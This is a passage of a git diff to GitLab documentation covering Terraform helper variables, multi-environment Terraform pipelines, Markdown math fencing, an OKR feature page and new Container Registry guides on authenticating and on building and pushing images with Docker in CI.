+| `TF_GITLAB_SOURCED` | `false` | Set to `true` if `gitlab-terraform` [was sourced](#source-but-do-not-run-the-helper-script). |
+| `TF_PLAN_CACHE` | `$TF_ROOT/plan.cache` or `$PWD/plan.cache` | Location of the plan cache file. If `TF_ROOT` is not set, then its path is relative to the current working directory (`$PWD`). |
+| `TF_PLAN_JSON` | `$TF_ROOT/plan.json` or `$PWD/plan.json` | Location of the plan JSON file for [MR integration](mr_integration.md). If `TF_ROOT` is not set, then its path is relative to the current working directory (`$PWD`). |
+| `DEBUG_OUTPUT` | `"false"` | If set to `"true"` every statement is logged with `set -x`. |
+
+### GitLab-managed Terraform state variables
+
+When you run `gitlab-terraform`, these variables are configured.
+
+| Variable | Default | Description |
+|--------------------------|-------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `TF_STATE_NAME` | Not set | If `TF_ADDRESS` is not set, and `TF_STATE_NAME` is provided, then the value of `TF_STATE_NAME` is used as [GitLab-managed Terraform State](terraform_state.md) name. |
+| `TF_ADDRESS` | Terraform State API URL for `$TF_STATE_NAME` | Used as default for [`TF_HTTP_ADDRESS`](https://developer.hashicorp.com/terraform/language/settings/backends/http#address). Uses `TF_STATE_NAME` as [GitLab-managed Terraform State](terraform_state.md) name by default. |
+| `TF_USERNAME` | [`$GITLAB_USER_LOGIN`](../../../ci/variables/predefined_variables.md) or `gitlab-ci-token` if `$TF_PASSWORD` is not set | Used as default for [`TF_HTTP_USERNAME`](https://developer.hashicorp.com/terraform/language/settings/backends/http#username). |
+| `TF_PASSWORD` | [`$CI_JOB_TOKEN`](../../../ci/variables/predefined_variables.md) | Used as default for [`TF_HTTP_PASSWORD`](https://developer.hashicorp.com/terraform/language/settings/backends/http#password). |
+| `TF_HTTP_ADDRESS` | `$TF_ADDRESS` | [Address to the Terraform backend](https://developer.hashicorp.com/terraform/language/settings/backends/http#address). |
+| `TF_HTTP_LOCK_ADDRESS` | `$TF_ADDRESS/lock` | [Address to the Terraform backend lock endpoint](https://developer.hashicorp.com/terraform/language/settings/backends/http#lock_address). |
+| `TF_HTTP_LOCK_METHOD` | `POST` | [Method to use for the Terraform backend lock endpoint](https://developer.hashicorp.com/terraform/language/settings/backends/http#lock_method). |
+| `TF_HTTP_UNLOCK_ADDRESS` | `$TF_ADDRESS/lock` | [Address to the Terraform backend unlock endpoint](https://developer.hashicorp.com/terraform/language/settings/backends/http#unlock_address). |
+| `TF_HTTP_UNLOCK_METHOD` | `DELETE` | [Method to use for the Terraform backend unlock endpoint](https://developer.hashicorp.com/terraform/language/settings/backends/http#unlock_method). |
+| `TF_HTTP_USERNAME` | `$TF_USERNAME` | [Username to authenticate with the Terraform backend](https://developer.hashicorp.com/terraform/language/settings/backends/http#username). |
+| `TF_HTTP_PASSWORD` | `$TF_PASSWORD` | [Password to authenticate with the Terraform backend](https://developer.hashicorp.com/terraform/language/settings/backends/http#password). |
+| `TF_HTTP_RETRY_WAIT_MIN` | `5` | [Minimum time in seconds to wait](https://developer.hashicorp.com/terraform/language/settings/backends/http#retry_wait_min) between HTTP request attempts to the Terraform backend. |
+
+### Command variables
+
+When you run `gitlab-terraform`, these variables are configured.
+
+| Variable | Default | Description |
+|--------------------------|----------|-------------------------------------------------------------------------------------------|
+| `TF_IMPLICIT_INIT` | `true` | If `true`, an implicit `terraform init` runs before the wrapped commands that require it. |
+| `TF_INIT_NO_RECONFIGURE` | `false` | If `true`, the implicit `terraform init` runs without `-reconfigure`. |
+| `TF_INIT_FLAGS` | Not set | Additional `terraform init` flags. |
+
+### Terraform input variables
+
+When you run `gitlab-terraform`, these Terraform input variables are set automatically.
+For more information about the default values, see [Predefined variables](../../../ci/variables/predefined_variables.md).
+
+| Variable | Default |
+|-------------------------------|-------------------------|
+| `TF_VAR_CI_JOB_ID` | `$CI_JOB_ID` |
+| `TF_VAR_CI_COMMIT_SHA` | `$CI_COMMIT_SHA` |
+| `TF_VAR_CI_JOB_STAGE` | `$CI_JOB_STAGE` |
+| `TF_VAR_CI_PROJECT_ID` | `$CI_PROJECT_ID` |
+| `TF_VAR_CI_PROJECT_NAME` | `$CI_PROJECT_NAME` |
+| `TF_VAR_CI_PROJECT_NAMESPACE` | `$CI_PROJECT_NAMESPACE` |
+| `TF_VAR_CI_PROJECT_PATH` | `$CI_PROJECT_PATH` |
+| `TF_VAR_CI_PROJECT_URL` | `$CI_PROJECT_URL` |
+
+## Terraform images
+
+The `gitlab-terraform` helper script and `terraform` itself are provided in container images
+under `registry.gitlab.com/gitlab-org/terraform-images/`. You can use these images to configure
+and manage your integration.
+
+The following images are provided:
+
+| Image name | Tag | Description |
+|-------------------------------|-----------------------------|--------------------------------------------------------------------------------|
+| `stable` | `latest` | Latest `terraform-images` release bundled with the latest Terraform release. |
+| `releases/$TERRAFORM_VERSION` | `latest` | Latest `terraform-images` release bundled with a specific Terraform release. |
+| `releases/$TERRAFORM_VERSION` | `$TERRAFORM_IMAGES_VERSION` | Specific `terraform-images` release bundled with a specific Terraform release. |
+
+For supported combinations, see [the `terraform-images` container registry](https://gitlab.com/gitlab-org/terraform-images/container_registry).
+
+## Related topics
+
+- [Terraform CI/CD templates](index.md)
+- [Terraform template recipes](terraform_template_recipes.md)
diff --git a/doc/user/infrastructure/iac/terraform_state.md b/doc/user/infrastructure/iac/terraform_state.md
index fc86210ed56..eb6a8db0c05 100644
--- a/doc/user/infrastructure/iac/terraform_state.md
+++ b/doc/user/infrastructure/iac/terraform_state.md
@@ -82,7 +82,9 @@ To configure GitLab CI/CD as a backend:
The output from the above `terraform` commands should be viewable in the job logs.
-The `gitlab-terraform` CLI is a wrapper around the `terraform` CLI. You can [view the source code of `gitlab-terraform`](https://gitlab.com/gitlab-org/terraform-images/-/blob/master/src/bin/gitlab-terraform.sh) if you're interested.
+The `gitlab-terraform` CLI is a wrapper around the `terraform` CLI. For more information,
+see [GitLab Terraform helpers](gitlab_terraform_helpers.md),
+or [view the source code of `gitlab-terraform`](https://gitlab.com/gitlab-org/terraform-images/-/blob/master/src/bin/gitlab-terraform.sh).
If you prefer to call the `terraform` commands explicitly, you can override
the template, and instead, use it as reference for what you can achieve.
diff --git a/doc/user/infrastructure/iac/terraform_template_recipes.md b/doc/user/infrastructure/iac/terraform_template_recipes.md
index ab2c8c1c48a..0d1b56ae979 100644
--- a/doc/user/infrastructure/iac/terraform_template_recipes.md
+++ b/doc/user/infrastructure/iac/terraform_template_recipes.md
@@ -181,3 +181,51 @@ deploy:
```
For an example repository, see the [GitLab Terraform template usage project](https://gitlab.com/gitlab-org/configure/examples/terraform-template-usage).
+
+## Deploy Terraform to multiple environments
+
+You can run pipelines in multiple environments, each with a unique Terraform state.
+
+```yaml
+stages:
+ - validate
+ - test
+ - build
+ - deploy
+
+include:
+ - template: Terraform/Base.latest.gitlab-ci.yml
+ - template: Jobs/SAST-IaC.latest.gitlab-ci.yml
+
+variables:
+ # x prevents TF_STATE_NAME from beeing empty for non environment jobs like validate
+ # wait for https://gitlab.com/groups/gitlab-org/-/epics/7437 to use variable defaults
+ TF_STATE_NAME: x${CI_ENVIRONMENT_NAME}
+ TF_CLI_ARGS_plan: "-var-file=vars/${CI_ENVIRONMENT_NAME}.tfvars"
+
+fmt:
+ extends: .terraform:fmt
+validate:
+ extends: .terraform:validate
+
+plan dev:
+ extends: .terraform:build
+ environment:
+ name: dev
+plan prod:
+ extends: .terraform:build
+ environment:
+ name: prod
+
+apply dev:
+ extends: .terraform:deploy
+ environment:
+ name: dev
+
+apply prod:
+ extends: .terraform:deploy
+ environment:
+ name: prod
+```
+
+This configuration is modified from the [base GitLab template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.gitlab-ci.yml).
diff --git a/doc/user/infrastructure/iac/troubleshooting.md b/doc/user/infrastructure/iac/troubleshooting.md
index ad1821fbe10..2aa1e5d3284 100644
--- a/doc/user/infrastructure/iac/troubleshooting.md
+++ b/doc/user/infrastructure/iac/troubleshooting.md
@@ -110,7 +110,7 @@ If you don't set `TF_STATE_NAME` or `TF_ADDRESS` in your job, the job fails with
To resolve this, ensure that either `TF_ADDRESS` or `TF_STATE_NAME` is accessible in the
job that returned the error:
-1. Configure the [CI/CD environment scope](../../../ci/variables/index.md#add-a-cicd-variable-to-a-project) for the job.
+1. Configure the [CI/CD environment scope](../../../ci/variables/index.md#for-a-project) for the job.
1. Set the job's [environment](../../../ci/yaml/index.md#environment), matching the environment scope from the previous step.
### Error refreshing state: HTTP remote state endpoint requires auth
diff --git a/doc/user/instance/clusters/index.md b/doc/user/instance/clusters/index.md
index eb703328270..88430df0d67 100644
--- a/doc/user/instance/clusters/index.md
+++ b/doc/user/instance/clusters/index.md
@@ -33,7 +33,7 @@ GitLab tries to match clusters in the following order:
- Instance-level clusters.
To be selected, the cluster must be enabled and
-match the [environment selector](../../../ci/environments/index.md#scope-environments-with-specs).
+match the [environment selector](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable).
## Cluster environments **(PREMIUM)**
diff --git a/doc/user/markdown.md b/doc/user/markdown.md
index 17b91eb9483..d29369f142c 100644
--- a/doc/user/markdown.md
+++ b/doc/user/markdown.md
@@ -343,6 +343,9 @@ backslash <code>&#92;</code>. Otherwise the diff highlight does not render corre
### Math
+> - LaTeX-compatible fencing [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21757) in GitLab 15.4 [with a flag](../administration/feature_flags.md) named `markdown_dollar_math`. Disabled by default. Enabled on GitLab.com.
+> - LaTeX-compatible fencing [generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/371180) in GitLab 15.8. Feature flag `markdown_dollar_math` removed.
+
[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#math).
Math written in LaTeX syntax is rendered with [KaTeX](https://github.com/KaTeX/KaTeX).
@@ -350,8 +353,10 @@ _KaTeX only supports a [subset](https://katex.org/docs/supported.html) of LaTeX.
This syntax also works for the Asciidoctor `:stem: latexmath`. For details, see
the [Asciidoctor user manual](https://asciidoctor.org/docs/user-manual/#activating-stem-support).
-Math written between dollar signs with backticks (``$`...`$``) is rendered
-inline with the text. Math written in a [code block](#code-spans-and-blocks) with
+Math written between dollar signs with backticks (``$`...`$``) or single dollar signs (`$...$`)
+is rendered inline with the text.
+
+Math written between double dollar signs (`$$...$$`) or in a [code block](#code-spans-and-blocks) with
the language declared as `math` is rendered on a separate line:
````markdown
@@ -362,6 +367,14 @@ This math is on a separate line:
```math
a^2+b^2=c^2
```
+
+This math is on a separate line: $$a^2+b^2=c^2$$
+
+This math is on a separate line:
+
+$$
+a^2+b^2=c^2
+$$
````
This math is inline: $`a^2+b^2=c^2`$.
@@ -372,25 +385,6 @@ This math is on a separate line:
a^2+b^2=c^2
```
-#### LaTeX-compatible fencing
-
-> Introduced in GitLab 15.4 [with a flag](../administration/feature_flags.md) named `markdown_dollar_math`. Disabled by default. Enabled on GitLab.com.
-
-[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#latex-compatible-fencing).
-
-FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available per group,
-ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `markdown_dollar_math`.
-On GitLab.com, this feature is available.
-The feature is not ready for production use.
-
-Math written between dollar signs (`$...$`) is rendered
-inline with the text. Math written between double dollar signs (`$$...$$`) is rendered
-on a separate line:
-
-````markdown
-This math is inline: $a^2+b^2=c^2$.
-
This math is on a separate line: $$a^2+b^2=c^2$$
This math is on a separate line:
@@ -398,10 +392,6 @@ This math is on a separate line:
$$
a^2+b^2=c^2
$$
-````
-
-<!-- Uncomment the example below when the flag is enabled on GitLab.com -->
-<!-- This math is inline: $a^2+b^2=c^2$.
This math is on a separate line: $$a^2+b^2=c^2$$
@@ -409,7 +399,7 @@ This math is on a separate line:
$$
a^2+b^2=c^2
-$$ -->
+$$
### Task lists
@@ -1668,7 +1658,7 @@ Watch the following video walkthrough of this feature:
See the video: <a href="https://www.youtube.com/watch?v=12yWKw1AdKY">Demo: JSON Tables in Markdown</a>.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/12yWKw1AdKY" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/12yWKw1AdKY" frameborder="0" allowfullscreen> </iframe>
</figure>
The `items` attribute is a list of objects representing the data points.
diff --git a/doc/user/namespace/index.md b/doc/user/namespace/index.md
index 7d26600cc38..7463b8f1099 100644
--- a/doc/user/namespace/index.md
+++ b/doc/user/namespace/index.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -35,3 +35,10 @@ To determine whether you're viewing a group or personal namespace, you can view
| A user named `alex`. | `https://gitlab.example.com/alex` | `alex` |
| A group named `alex-team`. | `https://gitlab.example.com/alex-team` | `alex-team` |
| A group named `alex-team` with a subgroup named `marketing`. | `https://gitlab.example.com/alex-team/marketing` | `alex-team/marketing` |
+
+## Naming limitations for namespaces
+
+When choosing a name for your namespace, keep in mind the [character limitations](../reserved_names.md#limitations-on-project-and-group-names) and [reserved group names](../reserved_names.md#reserved-group-names).
+
+NOTE:
+If your namespace contains a `.`, you will encounter issues with the validation of your SSL certificates and the source path when [publishing Terraform modules](../packages/terraform_module_registry/index.md#publish-a-terraform-module).
diff --git a/doc/user/okrs.md b/doc/user/okrs.md
new file mode 100644
index 00000000000..0b6bffa97ce
--- /dev/null
+++ b/doc/user/okrs.md
@@ -0,0 +1,254 @@
+---
+stage: Plan
+group: Product Planning
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Objectives and key results (OKR) **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/103355) in GitLab 15.6 [with a flag](../administration/feature_flags.md) named `okrs_mvc`. Disabled by default.
+
+WARNING:
+OKRs are in [**Alpha**](../policy/alpha-beta-support.md#alpha-features).
+For the OKR feature roadmap, see [epic 7864](https://gitlab.com/groups/gitlab-org/-/epics/7864).
+
+FLAG:
+On self-managed GitLab, by default this feature is not available. To make it available,
+ask an administrator to [enable the featured flag](../administration/feature_flags.md) named `okrs_mvc`.
+The feature is not ready for production use.
+
+Use objectives and key results to align your workforce towards common goals and track the progress.
+Set a big goal with an objective and use [child objectives and key results](#child-objectives-and-key-results)
+to measure the big goal's completion.
+
+The objective and the key result in GitLab share many features. In the documentation, the term
+**OKR** refers to either an objective or a key result.
+
+OKRs are a type of work item, a step towards [default issue types](https://gitlab.com/gitlab-org/gitlab/-/issues/323404)
+in GitLab.
+For the roadmap of migrating [issues](project/issues/index.md) and [epics](group/epics/index.md)
+to work items and adding custom work item types, see
+[epic 6033](https://gitlab.com/groups/gitlab-org/-/epics/6033) or the
+[Plan direction page](https://about.gitlab.com/direction/plan/).
+
+## Create an objective
+
+Prerequisites:
+
+- You must have at least the Guest role for the project.
+
+To create an objective:
+
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. On the left sidebar, select **Issues**.
+1. In the top right corner, next to **New issue**, select the down arrow **{chevron-lg-down}** and then select **New objective**.
+1. Select **New objective** again.
+1. Enter the objective title.
+1. Select **Create objective**.
+
+To create a key result, [add it as a child](#add-a-child-key-result) to an existing objective.
+
+## View an objective
+
+Prerequisites:
+
+- You must have at least the Guest role for the project.
+
+To view an objective:
+
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. On the left sidebar, select **Issues**.
+1. [Filter the list of issues](project/issues/managing_issues.md#filter-the-list-of-issues)
+for `Type = objective`.
+1. Select the title of an objective from the list.
+
+## View a key result
+
+Prerequisites:
+
+- You must have at least the Guest role for the project.
+
+To view a key result:
+
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. On the left sidebar, select **Issues**.
+1. [Filter the list of issues](project/issues/managing_issues.md#filter-the-list-of-issues)
+for `Type = key_result`.
+1. Select the title of a key result from the list.
+
+Alternatively, you can access a key result from the **Child objectives and key results** section in
+its parent's objective.
+
+## Edit title and description
+
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
+To edit an OKR:
+
+1. [Open the objective](okrs.md#view-an-objective) or [key result](#view-a-key-result) that you want to edit.
+1. Optional. To edit the title, select it, make your changes, and select any area outside the title
+ text box.
+1. Optional. To edit the description, select the edit icon (**{pencil}**), make your changes, and
+ select **Save**.
+
+## Assign users
+
+To show who is responsible for an OKR, you can assign users to it.
+
+Users on GitLab Free can assign one user per OKR.
+Users on GitLab Premium and higher can assign multiple users to a single OKR.
+See also [multiple assignees for issues](project/issues/multiple_assignees_for_issues.md).
+
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
+To change the assignee on an OKR:
+
+1. [Open the objective](okrs.md#view-an-objective) or [key result](#view-a-key-result) that you want to edit.
+1. Next to **Assignees**, select **Add assignees**.
+1. From the dropdown list, select the users to add as an assignee.
+1. Select any area outside the dropdown list.
+
+## Assign labels
+
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
+Use [labels](project/labels.md) to organize OKRs among teams.
+
+To add labels to an OKR:
+
+1. [Open the objective](okrs.md#view-an-objective) or [key result](#view-a-key-result) that you want to edit.
+1. Next to **Labels**, select **Add labels**.
+1. From the dropdown list, select the labels to add.
+1. Select any area outside the dropdown list.
+
+## Add an objective to a milestone
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/367463) in GitLab 15.7.
+
+You can add an objective to a [milestone](project/milestones/index.md).
+You can see the milestone title when you view an objective.
+
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
+To add an objective to a milestone:
+
+1. [Open the objective](okrs.md#view-an-objective) that you want to edit.
+1. Next to **Milestone**, select **Add to milestone**.
+ If an objective already belongs to a milestone, the dropdown list shows the current milestone.
+1. From the dropdown list, select the milestone to be associated with the objective.
+
+## Set objective progress
+
+Show how much of the work needed to achieve an objective is finished.
+
+You can only set progress manually on objectives, and it's not rolled up from child objectives or
+key results.
+
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
+To set progress of an objective:
+
+1. [Open the objective](okrs.md#view-an-objective) that you want to edit.
+1. Next to **Progress**, select the text box.
+1. Enter a number from 0 to 100.
+
+## Set health status
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381899) in GitLab 15.7.
+
+To better track the risk in meeting your goals, you can assign a [health status](project/issues/managing_issues.md#health-status)
+to each objective and key result.
+You can use health status to signal to others in your organization whether OKRs are progressing
+as planned or need attention to stay on schedule.
+
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
+To set health status of an OKR:
+
+1. [Open the key result](okrs.md#view-a-key-result) that you want to edit.
+1. Next to **Health status**, select the dropdown list and select the desired health status.
+
+## Close an OKR
+
+When an OKR is achieved, you can close it.
+The OKR is marked as closed but is not deleted.
+
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
+To close an OKR:
+
+1. [Open the objective](okrs.md#view-an-objective) that you want to edit.
+1. Next to **Status**, select **Closed**.
+
+You can reopen a closed OKR the same way.
+
+## Child objectives and key results
+
+In GitLab, objectives are similar to key results.
+In your workflow, use key results to measure the goal described in the objective.
+
+You can add child objectives to a total of 9 levels. An objective can have up to 100 child OKRs.
+Key results are children of objectives and cannot have children items themselves.
+
+Child objectives and key results are available in the **Child objectives and key results** section
+below an objective's description.
+
+### Add a child objective
+
+Prerequisites:
+
+- You must have at least the Guest role for the project.
+
+To add a new objective to an objective:
+
+1. In an objective, in the **Child objectives and key results** section, select **Add** and then
+ select **New objective**.
+1. Enter a title for the new objective.
+1. Select **Create objective**.
+
+To add an existing objective to an objective:
+
+1. In an objective, in the **Child objectives and key results** section, select **Add** and then
+ select **Existing objective**.
+1. Search for the desired objective by entering part of its title, then selecting the
+ desired match.
+
+ To add multiple objectives, repeat this step.
+1. Select **Add objective**.
+
+### Add a child key result
+
+Prerequisites:
+
+- You must have at least the Guest role for the project.
+
+To add a new key result to an objective:
+
+1. In an objective, in the **Child objectives and key results** section, select **Add** and then
+ select **New key result**.
+1. Enter a title for the new key result.
+1. Select **Create key result**.
+
+To add an existing key result to an objective:
+
+1. In an objective, in the **Child objectives and key results** section, select **Add** and then
+ select **Existing key result**.
+1. Search for the desired OKR by entering part of its title, then selecting the
+ desired match.
+
+ To add multiple objectives, repeat this step.
+1. Select **Add key result**.
diff --git a/doc/user/packages/container_registry/authenticate_with_container_registry.md b/doc/user/packages/container_registry/authenticate_with_container_registry.md
new file mode 100644
index 00000000000..cdc7cbe947b
--- /dev/null
+++ b/doc/user/packages/container_registry/authenticate_with_container_registry.md
@@ -0,0 +1,60 @@
+---
+stage: Package
+group: Container Registry
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Authenticate with the Container Registry **(FREE)**
+
+To authenticate with the Container Registry, you can use a:
+
+- [Personal access token](../../profile/personal_access_tokens.md).
+- [Deploy token](../../project/deploy_tokens/index.md).
+- [Project access token](../../project/settings/project_access_tokens.md).
+- [Group access token](../../group/settings/group_access_tokens.md).
+
+All of these authentication methods require the minimum scope:
+
+- For read (pull) access, to be `read_registry`.
+- For write (push) access, to be`write_registry` and `read_registry`.
+
+To authenticate, run the `docker login` command. For example:
+
+ ```shell
+ docker login registry.example.com -u <username> -p <token>
+ ```
+
+## Use GitLab CI/CD to authenticate
+
+To use CI/CD to authenticate with the Container Registry, you can use:
+
+- The `CI_REGISTRY_USER` CI/CD variable.
+
+ This variable has read-write access to the Container Registry and is valid for
+ one job only. Its password is also automatically created and assigned to `CI_REGISTRY_PASSWORD`.
+
+ ```shell
+ docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
+ ```
+
+- A [CI job token](../../../ci/jobs/ci_job_token.md).
+
+ ```shell
+ docker login -u $CI_REGISTRY_USER -p $CI_JOB_TOKEN $CI_REGISTRY
+ ```
+
+- A [deploy token](../../project/deploy_tokens/index.md#gitlab-deploy-token) with the minimum scope of:
+ - For read (pull) access, `read_registry`.
+ - For write (push) access, `write_registry`.
+
+ ```shell
+ docker login -u $CI_DEPLOY_USER -p $CI_DEPLOY_PASSWORD $CI_REGISTRY
+ ```
+
+- A [personal access token](../../profile/personal_access_tokens.md) with the minimum scope of:
+ - For read (pull) access, `read_registry`.
+ - For write (push) access, `write_registry`.
+
+ ```shell
+ docker login -u <username> -p <access_token> $CI_REGISTRY
+ ```
diff --git a/doc/user/packages/container_registry/build_and_push_images.md b/doc/user/packages/container_registry/build_and_push_images.md
new file mode 100644
index 00000000000..bbb82300488
--- /dev/null
+++ b/doc/user/packages/container_registry/build_and_push_images.md
@@ -0,0 +1,214 @@
+---
+stage: Package
+group: Container Registry
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Build and push container images to the Container Registry **(FREE)**
+
+Before you can build and push container images, you must [authenticate](authenticate_with_container_registry.md) with the Container Registry.
+
+## Use Docker commands
+
+You can use Docker commands to build and push container images to your Container Registry:
+
+1. [Authenticate](authenticate_with_container_registry.md) with the Container Registry.
+1. Run the Docker command to build or push. For example:
+
+ - To build:
+
+ ```shell
+ docker build -t registry.example.com/group/project/image .
+ ```
+
+ - To push:
+
+ ```shell
+ docker push registry.example.com/group/project/image
+ ```
+
+## Configure your `.gitlab-ci.yml` file
+
+You can configure your `.gitlab-ci.yml` file to build and push container images to the Container Registry.
+
+- If multiple jobs require authentication, put the authentication command in the `before_script`.
+- Before building, use `docker build --pull` to fetch changes to base images. It takes slightly
+ longer, but it ensures your image is up-to-date.
+- Before each `docker run`, do an explicit `docker pull` to fetch
+ the image that was just built. This step is especially important if you are
+ using multiple runners that cache images locally.
+
+ If you use the Git SHA in your image tag, each job is unique and you
+ should never have a stale image. However, it's still possible to have a
+ stale image if you rebuild a given commit after a dependency has changed.
+- Don't build directly to the `latest` tag because multiple jobs may be
+ happening simultaneously.
+
+## Use GitLab CI/CD
+
+You can use [GitLab CI/CD](../../../ci/yaml/index.md) to build and push container images to the
+Container Registry. You can use CI/CD to test, build, and deploy your project from the container
+image you created.
+
+### Use a Docker-in-Docker container image from your Container Registry
+
+You can use your own container images for Docker-in-Docker.
+
+1. Set up [Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-docker-in-docker).
+1. Update the `image` and `service` to point to your registry.
+1. Add a service [alias](../../../ci/services/index.md#available-settings-for-services).
+
+Your `.gitlab-ci.yml` should look similar to this:
+
+```yaml
+build:
+ image: $CI_REGISTRY/group/project/docker:20.10.16
+ services:
+ - name: $CI_REGISTRY/group/project/docker:20.10.16-dind
+ alias: docker
+ stage: build
+ script:
+ - docker build -t my-docker-image .
+ - docker run my-docker-image /script/to/run/tests
+```
+
+If you forget to set the service alias, the container image can't find the `dind` service,
+and an error like the following is shown:
+
+```plaintext
+error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host
+```
+
+### Use a Docker-in-Docker container image with Dependency Proxy
+
+You can use your own container images with Dependency Proxy.
+
+1. Set up [Docker-in-Docker](../../../ci/docker/using_docker_build.md#use-docker-in-docker).
+1. Update the `image` and `service` to point to your registry.
+1. Add a service [alias](../../../ci/services/index.md#available-settings-for-services).
+
+Your `.gitlab-ci.yml` should look similar to this:
+
+```yaml
+build:
+ image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:20.10.16
+ services:
+ - name: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:18.09.7-dind
+ alias: docker
+ stage: build
+ script:
+ - docker build -t my-docker-image .
+ - docker run my-docker-image /script/to/run/tests
+```
+
+If you forget to set the service alias, the container image can't find the `dind` service,
+and an error like the following is shown:
+
+```plaintext
+error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host
+```
+
+## Container Registry examples with GitLab CI/CD
+
+If you're using Docker-in-Docker on your runners, your `.gitlab-ci.yml` file should look similar to this:
+
+```yaml
+build:
+ image: docker:20.10.16
+ stage: build
+ services:
+ - docker:20.10.16-dind
+ script:
+ - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
+ - docker build -t $CI_REGISTRY/group/project/image:latest .
+ - docker push $CI_REGISTRY/group/project/image:latest
+```
+
+You can use [CI/CD variables](../../../ci/variables/index.md) in your `.gitlab-ci.yml` file. For example:
+
+```yaml
+build:
+ image: docker:20.10.16
+ stage: build
+ services:
+ - docker:20.10.16-dind
+ variables:
+ IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
+ script:
+ - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
+ - docker build -t $IMAGE_TAG .
+ - docker push $IMAGE_TAG
+```
+
+In this example, `$CI_REGISTRY_IMAGE` resolves to the address of the registry tied
+to this project. `$CI_COMMIT_REF_NAME` resolves to the branch or tag name, which
+can contain forward slashes. Image tags can't contain forward slashes. Use
+`$CI_COMMIT_REF_SLUG` as the image tag. You can declare the variable, `$IMAGE_TAG`,
+combining `$CI_REGISTRY_IMAGE` and `$CI_REGISTRY_IMAGE` to save some typing in the
+`script` section.
+
+This example splits the tasks into 4 pipeline stages, including two tests that run in parallel. The `build` is stored in the container
+registry and used by subsequent stages, downloading the container image when needed. Changes to `main` also get tagged as
+`latest` and deployed using an application-specific deploy script:
+
+```yaml
+image: docker:20.10.16
+services:
+ - docker:20.10.16-dind
+
+stages:
+ - build
+ - test
+ - release
+ - deploy
+
+variables:
+ # Use TLS https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#tls-enabled
+ DOCKER_HOST: tcp://docker:2376
+ DOCKER_TLS_CERTDIR: "/certs"
+ CONTAINER_TEST_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
+ CONTAINER_RELEASE_IMAGE: $CI_REGISTRY_IMAGE:latest
+
+before_script:
+ - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
+
+build:
+ stage: build
+ script:
+ - docker build --pull -t $CONTAINER_TEST_IMAGE .
+ - docker push $CONTAINER_TEST_IMAGE
+
+test1:
+ stage: test
+ script:
+ - docker pull $CONTAINER_TEST_IMAGE
+ - docker run $CONTAINER_TEST_IMAGE /script/to/run/tests
+
+test2:
+ stage: test
+ script:
+ - docker pull $CONTAINER_TEST_IMAGE
+ - docker run $CONTAINER_TEST_IMAGE /script/to/run/another/test
+
+release-image:
+ stage: release
+ script:
+ - docker pull $CONTAINER_TEST_IMAGE
+ - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE
+ - docker push $CONTAINER_RELEASE_IMAGE
+ only:
+ - main
+
+deploy:
+ stage: deploy
+ script:
+ - ./deploy.sh
+ only:
+ - main
+ environment: production
+```
+
+NOTE:
+This example explicitly calls `docker pull`. If you prefer to implicitly pull the container image using `image:`,
+and use either the [Docker](https://docs.gitlab.com/runner/executors/docker.html) or [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executor,
+make sure that [`pull_policy`](https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work) is set to `always`.
diff --git a/doc/user/packages/container_registry/delete_container_registry_images.md b/doc/user/packages/container_registry/delete_container_registry_images.md
new file mode 100644
index 00000000000..9adb9313f09
--- /dev/null
+++ b/doc/user/packages/container_registry/delete_container_registry_images.md
@@ -0,0 +1,117 @@
+---
